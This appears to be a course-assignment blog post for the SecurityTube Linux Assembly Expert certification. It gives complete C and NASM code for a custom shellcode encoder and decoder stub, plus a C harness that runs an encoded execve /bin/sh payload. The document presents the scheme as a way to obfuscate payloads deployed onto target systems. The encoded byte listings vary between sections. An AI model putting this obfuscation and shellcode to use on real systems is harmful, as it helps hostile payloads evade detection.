Student ID : SLAE  - 1314

Assignment 4:

In this assignment a custom shellcode encoder / decoder  will be created in order to show a custom encoding technique used when deploying malicious payloads onto target systems.

The assignment:

  • Create a custom encoding scheme like “insertion encoder” we showed you
  • PoC with using execve-stack as the shellcode to encode with your schema and execute

Disclaimer :

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification

Published on

For the purposes of this assignment the custom encoder / decoder has been successfully tested at the following architecture

Linux kali 5.3.0-kali3-686-pae #1 SMP Debian 5.3.15-1kali1 (2019-12-09) i686 GNU/Linux

The encoding / decoding scheme

The logic behind the creation of a custom encoding / decoding scheme, is to represent a given shellcode into a form that will be different from the one it had before, with the prospect that the encoded shellcode will be obfuscated. Furthermore, in order the shellcode to be executed as intended, it must be decoded into its initial form on runtime, using a decoding pattern. The following diagram shows the execve shellcode bytes that will be used in order to apply the custom encoding scheme

The first operation in the encoding process is to provide an insertion encoding scheme  which will add random bytes at every odd number location at the initial shellcode byte sequence. The following diagram represents the result of the insertion encoding process

The insertion encoder has been implemented using the following code snippet

int i;
unsigned char *buffer = (char*)malloc(sizeof(shellcode)*2);
//generate random-like numbers initializing a distinctive runtime value which is the value returned by function time 
srand((unsigned int)time(NULL));
unsigned char *shellcode2=(char*)malloc(sizeof(shellcode)*2);
// placeholder to copy the random bytes using rand
unsigned char shellcode3[] = "\xbb";
int l = 0;
int k = 0;
int j;

// random byte insertion into even number location
printf("\nInsertion encoded shellcode\n\n");
for (i=0; i<(strlen(shellcode)*2); i++) {
// generate random bytes
buffer[i] = rand() & 0xff;
memcpy(&shellcode3[0],(unsigned char*)&buffer[i],sizeof(buffer[i]));
k = i % 2;
if (k == 0)
{
shellcode2[i] = shellcode[l];
l++;
}

The next encoding operation in the custom encoding process is to change the values of the shellcode bytes using a custom encoding pattern. The following steps are showing the custom encoding pattern

  1. provide a bitwise exclusive OR operation (xor) to every byte in sequence with value 0x2c
  2. subtract every byte with value 0x2
  3. apply ones’ complement  arithmetic operation
  4. perform a 4 bits right rotation (ror) to every byte in shellcode

The above encoding pattern implemented using the code snippet below

// apply the encoding scheme 
for (i=0; i < strlen(shellcode2); i++) 
{ 
// XOR every byte with 0x2c 
shellcode2[i] = shellcode2[i] ^ XORVAL; 
// decrease every byte by 2 
shellcode2[i] = shellcode2[i] - DEC; 
// ones' complement
shellcode2[i] = ~shellcode2[i];  
// perform the ror method 
shellcode2[i] = (shellcode2[i] << rot) | (shellcode2[i] >> sizeof(shellcode2[i])*(8-rot));
}

The following diagram depicts the result from the custom encoding process

Later on, the decoding process will take place, providing a reverse operation to the encoded bytes. The following steps used to decode the encoded payload

  1. perform a 4 bits left rotation (rol) to every byte in shellcode
  2. apply ones’ complement  arithmetic operation
  3. add value 0x2 to every byte in sequence
  4. provide a bitwise exclusive OR operation (xor) to every byte with value 0x2c

The following diagram depicts the result from the custom decoding process

Afterwards, when the decoding process finishes, it is time to remove the extra bytes from every odd number location, shifting the bytes left.

The Custom Encoder

For the encoding phase, the payload used to encode is the execve which executes the /bin/sh command. The custom encoder has been implemented as shown below

#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>

#define DEC 0x2 // the value that will be used to subtract every byte
#define XORVAL 0x2c // the value that will be used to xor with every byte

// execve stack shellcode /bin/sh
unsigned char shellcode[] = \
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";

void main()
{
int rot = 4; //right rotation 4 bits

printf("\n\nShellcode:\n\n");
int o;
for (o=0; o < strlen(shellcode); o++) {
    printf("\\x%02x", shellcode[o]);
}

printf("\n\nShellcode Length %d\n",sizeof(shellcode)-1);
printf("\n\nShellcode:\n\n");
o=0;
for (o; o < strlen(shellcode); o++) {
    printf("0x%02x,", shellcode[o]);
}

printf("\n");
int i;
unsigned char *buffer = (char*)malloc(sizeof(shellcode)*2);

//use srand to generate ranodm bytes as seen below 
srand((unsigned int)time(NULL));
unsigned char *shellcode2=(char*)malloc(sizeof(shellcode)*2);

// placeholder to copy the random bytes using rand
unsigned char shellcode3[] = "\xbb";
int l = 0;
int k = 0;
int j;

// random byte insertion into even number location
printf("\nInsertion encoded shellcode\n\n");
for (i=0; i<(strlen(shellcode)*2); i++) {
    // generate random bytes. 
    // Adding an integer with 0&ff leaves only the least significant byte (masking)
    buffer[i] = rand() & 0xff;
    memcpy(&shellcode3[0],(unsigned char*)&buffer[i],sizeof(buffer[i]));
    k = i % 2;
    if (k == 0)
    {
         shellcode2[i] = shellcode[l];
         l++;
    }
    else
    {
         shellcode2[i] = shellcode3[0];
    }
}

// apply the encoding scheme
for (i=0; i < strlen(shellcode2); i++) 
{
        // XOR every byte with 0x2c
        shellcode2[i] = shellcode2[i] ^ XORVAL;
        // decrease every byte by 2
        shellcode2[i] = shellcode2[i] - DEC;
        // one's complement
        shellcode2[i] = ~shellcode2[i];
        // perform the ror method
        shellcode2[i] = (shellcode2[i] << rot) | (shellcode2[i] >> sizeof(shellcode2[i])*(8-rot));   
}

// print encoded shellcode
printf("\nEncoded shellcode\n\n");
i=0;
for (i; i < strlen(shellcode2); i++) {
       printf("0x%02x,", shellcode2[i]);
}

printf("\n\nEncoded Shellcode Length %d\n",strlen(shellcode2));
free(shellcode2);
free(buffer);
printf("\n\n");
}

The program above will be compiled using gcc as follows

gcc -o encode encoder.c

Then, running the encoder will give the following result

root@kali:~/Documents/SLAE/Assignment4# ./enc

Shellcode:

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80

Shellcode Length 25


Decoded Shellcode:

0x31,0xc0,0x50,0x68,0x2f,0x2f,0x73,0x68,0x68,0x2f,0x62,0x69,0x6e,0x89,0xe3,0x50,0x89,0xe2,0x53,0x89,0xe1,0xb0,0x0b,0xcd,0x80,

Insertion shellcode

0x31,0xa9,0xc0,0x1f,0x50,0xdd,0x68,0x22,0x2f,0x9e,0x2f,0x78,0x73,0x32,0x68,0x0c,0x68,0x64,0x2f,0x74,0x62,0x84,0x69,0xf2,0x6e,0xde,0x89,0xf6,0xe3,0x93,0x50,0xf1,0x89,0xb5,0xe2,0x15,0x53,0x80,0x89,0x82,0xe1,0x93,0xb0,0xb6,0x0b,0x5d,0xcd,0x2c,0x80,0x42,

Encoded shellcode

0x4e,0xc7,0x51,0xec,0x58,0x01,0xdb,0x3f,0xef,0xf4,0xef,0xda,0x2a,0x3e,0xdb,0x1e,0xdb,0x9b,0xef,0x9a,0x3b,0x95,0xcb,0x32,0xfb,0xf0,0xc5,0x72,0x23,0x24,0x58,0x42,0xc5,0x86,0x33,0x8c,0x28,0x55,0xc5,0x35,0x43,0x24,0x56,0x76,0xad,0x09,0x02,0x10,0x55,0x39,

Encoded Shellcode Length 50

The Custom Decoder 

At this section, an assembly wrapper will be used to decode the encoded payload which will implement the decoding scheme. The main purpose of the custom decoder is to implement a generic solution making the decoder work in different linux environments. The decoding scheme will be applied at the following encoded payload.

0x4e,0xc7,0x51,0xec,0x58,0x01,0xdb,0x3f,0xef,0xf4,0xef,0xda,0x2a,0x3e,0xdb,0x1e,0xdb,0x9b,0xef,0x9a,0x3b,0x95,0xcb,0x32,0xfb,0xf0,0xc5,0x72,0x23,0x24,0x58,0x42,0xc5,0x86,0x33,0x8c,0x28,0x55,0xc5,0x35,0x43,0x24,0x56,0x76,0xad,0x09,0x02,0x10,0x55,0x39

The custom decoder implemented using the jmp/call/pop technique in order to achieve two basic things

  1. Avoid null bytes
  2. Avoid hardcoded addresses

In order the shellcode to work in other linux systems or other vulnerable programs, it should not contain hardcoded addresses. Furthermore, the shellcode must not contain \x00 (null) bytes as these used to terminate a string with a certain impact of breaking the shellcode and stop execution.

Along with the above two points in mind it is time to start implementing the shellcode while first describing the jmp/call/pop technique as shown at the following program structure

global _start 

section .text 

_start: 
      jmp short call_shellcode

init: 
      pop esi
      [...]

call_shellcode: 
      call decoder 
      EncodedShellcode: db 0x4e,0xc7,0x51,0xec,0x58,0x01,0xdb,0x3f,0xef,0xf4,0xef,0xda,0x2a,0x3e,0xdb,0x1e,0xdb,0x9b,0xef,0x9a,0x3b,0x95,0xcb,0x32,0xfb,0xf0,0xc5,0x72,0x23,0x24,0x58,0x42,0xc5,0x86,0x33,0x8c,0x28,0x55,0xc5,0x35,0x43,0x24,0x56,0x76,0xad,0x09,0x02,0x10,0x55,0x39
      len equ $-EncodedShellcode

The code structure above represents the jmp/call/pop technique. First, the jmp short instruction used in order to redirect the program execution to a location where the call_shellcode label begins. The reason that jmp short instruction has been chosen is that it will not generate null bytes when executed. In more detail, jmp short means two (2)  bytes will be used to jump to a memory location in the same segment, so there are actually 2^8=256 bytes for the offset. In fact, a signed offset is used, so it actually goes from 00h to 7Fh for a forward jmp and from 80h to FFh for a backward or reverse  jmp. This is great because it means using a jmp short instruction will not add any nulls (check this reference) for more details about jmp instruction ). So, in current  scenario a forward short jump will be used where the encoded output is shown in red font below

08049000 <_start>: 8049000: eb 39 jmp 804903b <call_shellcode>

In this case, using the jmp short instruction, no null bytes produced. Furthermore, the call decoder instruction will set a new jstack frame, where, the defined bytes right after the call instruction, will be saved into the stack. Furthermore, the call instruction redirects execution backwards, at label decoder , where no null bytes produced as seen in red font below. In the contrary, it is worth to mention that when a call instruction used to redirect execution in a forward location, then it produces null bytes, which is currently avoided because of using the jmp/call/pop technique described before.

0804903b <call_shellcode>:
804903b: e8 c2 ff ff ff call 8049002 <decoder>

Later on, as said before, the execution of the program will be redirected to the decoder label, where the first instruction pop esi , when executed, will actually put the address of the shellcode inside the register esi.  Now that the jmp/call/pop technique explained above, it is a good starting point to proceed further into explaining the implementation of the custom decoder. The following code snippet explains the code implemented inside the init label

init: 
        pop esi 
        push esi 
        xor ebx, ebx 
        xor ecx, ecx 
        xor edx, edx 
        mov dl, len

As mentioned before,  the pop esi instruction after executed will hold the address of the initial shellcode byte string ( see EncodedShellcode below ) . Afterwards, when the push esi instruction executed, it will push the address of the initial shellcode into the stack for later use. The next three instructions will perform a bitwise exclusive OR operation to ebx , ecx and edx registers in order to clear them and initialise them for later use.  The mov dl, len instruction will load the shellcode length into the lower byte register dl ( lower byte registers are used to avoid nulls ).  The length of the shellcode calculated as shown in red font below

call_shellcode: 
              call init 
              EncodedShellcode: db 0x4e,0xc7,0x51,0xec,0x58,0x01,0xdb,0x3f,0xef,0xf4,0xef,0xda,0x2a,0x3e,0xdb,0x1e,0xdb,0x9b,0xef,0x9a,0x3b,0x95,0xcb,0x32,0xfb,0xf0,0xc5,0x72,0x23,0x24,0x58,0x42,0xc5,0x86,0x33,0x8c,0x28,0x55,0xc5,0x35,0x43,0x24,0x56,0x76,0xad,0x09,0x02,0x10,0x55,0x39,
              len equ $-EncodedShellcode

Furthermore, the custom decoding scheme will be explained as follows

scheme:
       rol byte [esi], 4 
       not byte [esi] 
       add byte [esi], 2 
       xor byte [esi], 0x2c

The above code snippet executes the decoding scheme at the given encoded shellcode, where the rol instruction will be applied to the byte pointed by esi   register in order to perform a four (4) bit left rotation. Then, the not instruction will be used in order to perform one's complement to the byte pointed by esi register. The add instruction will be used to add two (2) bits to the byte pointed by esi  register. The last instruction of the encoding scheme will be the xor instruction which will implement a bitwise exclusive OR operation to the byte pointed by esi register with the value 0x2c . Furthermore, inc esi </b> will be used in order to add one (1) to the contents of the byte at the effective address represented by esi register. This procedure will continue until the end of the shellcode as shown at the following code snippet

inc esi
cmp cl, dl 
je prepare 
inc cl 
jmp short scheme

After encoding the first shellcode byte contained in esi register, the esi register will be increased by one (1) in order to move to the next byte using the instruction inc esi. Later on,  the counter value represented by the cl lower byte register will be compared with the length of the shellcode contained inside dl lower byte register using the cmp instruction. At the next instruction, if the comparison between the values contained at cl and dl lower byte registers are not equal, by using the jmp instruction, the execution will be redirected at the beginning of the scheme label, thus creating a loop until the values are equal. In the contrary, at the next loop, and after increasing the counter using the instruction inc cl , if the comparison of the values of the lower byte registers cl and dl are equal, the execution will be directed forward to prepare label using the instruction je prepare.

prepare: 
        pop esi 
        lea edi, [esi +1] 
        xor eax, eax 
        mov al, 1 
        xor ecx, ecx

At the code snippet above, when the pop esi instruction executed, the esi register will point to the first byte of the initial shellcode. At this point, it must be mentioned that apart of the decoding process of every encoded shellcode byte, all the extra random bytes contained in the encoded shellcode ( see the encoding process ), will be removed from every odd number location until the end of the encoded shellcode. Continuing further, in order to achieve this, the edi register must point to the next byte using the instruction lea edi, [esi +1]. Furthermore, eax  and ecx registers will be initialised using the exclusive or ( xor ) operation, because al will be used as counter making esi to point into every even number location, and cl register will also used as counter in order to be compared with the length of the shellcode. The lower byte register al will  increase its value by two (2) every time it is executed, which currently initialised with the immediate value one (1) using the mov al, 1 instruction, in order to achieve counting even numbers (1,3,5,7,...). The next code snippet will be used to remove the extra random bytes of the encoded shellcode

remove_bytes: 
            ;; apply the random bytes removal scheme 
            cmp cl, dl 
            je EncodedShellcode 
            mov bl, byte [esi + eax + 1] 
            mov byte [edi], bl 
            inc edi  
            inc cl 
            add al, 2 
            jmp short remove_bytes

The first instruction at the code snippet above is a comparison between the two lower byte registers cl and dl, where the lower byte register dl contains the length of the shellcode. In case the comparison is equal, the next instruction je EncodedShellcodewill redirect execution into the code section with the label EncodedShellcode. The next instruction mov bl, byte [esi + eax + 1] ,will move the byte contents pointed by [esi + eax + 1] to lower byte register bl, which means it will move the next byte plus one from current location intobl,and that because the bllower byte register must contain a shellcode byte located at an odd number location inside the shellcode byte sequence .Then, every time the mov byte [edi], bl instruction executes, the edi register will point only at the shellcode bytes located at odd number locations, thus shifting the bytes of the shellcode one byte left at a time, removing the inserted bytes located at even number locations. Then, the instruction inc edi will increase the edi register by one, pointing to the next location. Afterwards, because the inserted random bytes are located in every even number location of the shellcode byte sequence, the lower byte al will increase its value by two (2) using the instruction add al, 2 in order to point to achieve pointing to odd number locations. Next, The jmp short remove_bytes  will perform a reverse short jmp to the beginning of the remove_bytes  label creating a loop until the shellcode reaches its last byte.

The full assembly code which implements the custom decoder is shown below:

global _start

section .text

_start:
jmp short call_shellcode

init:
         pop esi       
         push esi       
         xor ebx, ebx  
         xor ecx, ecx   
         xor edx, edx   
         mov dl, len    
scheme:
        ;; apply the decode scheme
        rol byte [esi], 4 
        not byte [esi]   
        add byte [esi], 2    
        xor byte [esi], 0x2c 
        inc esi         
        cmp cl, dl      
        je prepare          
        inc cl         
        jmp short scheme 
prepare:
        pop esi                 
        lea edi, [esi +1]       
        xor eax, eax          
        mov al, 1               
        xor ecx, ecx           

remove_bytes:
        ;; apply the random bytes removal scheme        
        cmp cl, dl                     
        je EncodedShellcode            
        mov bl, byte [esi + eax + 1]    
        mov byte [edi], bl        
        inc edi                       
        inc cl                        
        add al, 2                       
        jmp short remove_bytes                

call_shellcode:
        call init
        EncodedShellcode: db 0x4e,0x8d,0x51,0xec,0x58,0xd9,0xdb,0x42,0xef,0xc5,0xef,0x16,0x2a,0xc8,0xdb,0x42,0xdb,0x96,0xef,0x8c,0x3b,0x29,0xcb,0x6e,0xfb,0xed,0xc5,0x7d,0x23,0xe4,0x58,0xc7,0xc5,0xd5,0x33,0x8b,0x28,0x79,0xc5,0x95,0x43,0x13,0x56,0xd3,0xad,0x49,0x02,0xc5,0x55,0x18
        len equ $-EncodedShellcode

The shellcode will be assembled and linked using the following bash script

#!/bin/bash

echo '[+] Assembling with Nasm ... '
nasm -f elf32 -o $1.o $1.nasm

echo '[+] Linking ...'
ld -z execstack -o $1 $1.o

echo '[+] Done!'

The following command will produce the final shellcode

root@kali:~/Documents/SLAE/Assignment4# objdump -d ./decode|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

The produced shellcode will be delivered and executed using the following program

#include<stdio.h>
#include<string.h>

unsigned char code[] = \

"\xeb\x39\x5e\x56\x31\xdb\x31\xc9\x31\xd2\xb2\x32\xc0\x06\x04\xf6\x16\x80\x06\x02\x80\x36\x2c\x46\x38\xd1\x74\x04\xfe\xc1\xeb\xec\x5e\x8d\x7e\x01\x31\xc0\xb0\x01\x31\xc9\x38\xd1\x74\x12\x8a\x5c\x06\x01\x88\x1f\x47\xfe\xc1\x04\x02\xeb\xef\xe8\xc2\xff\xff\xff\x4e\xc1\x51\x2f\x58\x3c\xdb\xac\xef\x82\xef\x1c\x2a\xd9\xdb\x90\xdb\x6b\xef\x61\x3b\x1c\xcb\x24\xfb\xd6\xc5\x50\x23\xfa\x58\x9c\xc5\xb1\x33\x97\x28\x31\xc5\xaa\x43\xf9\x56\xf4\xad\xc2\x02\x16\x55\xe3";

int main()
{

printf("Shellcode Length: %d\n", strlen(code));

int (*ret)() = (int(*)())code;

ret();
}

compiling and running the program will give the following result which is the execution of the  /bash/sh command using the execve shellcode.

root@kali:~/Documents/SLAE/Assignment4# gcc -fno-stack-protector -z execstack -o shell shell.c && ./shell
Shellcode Length: 114
#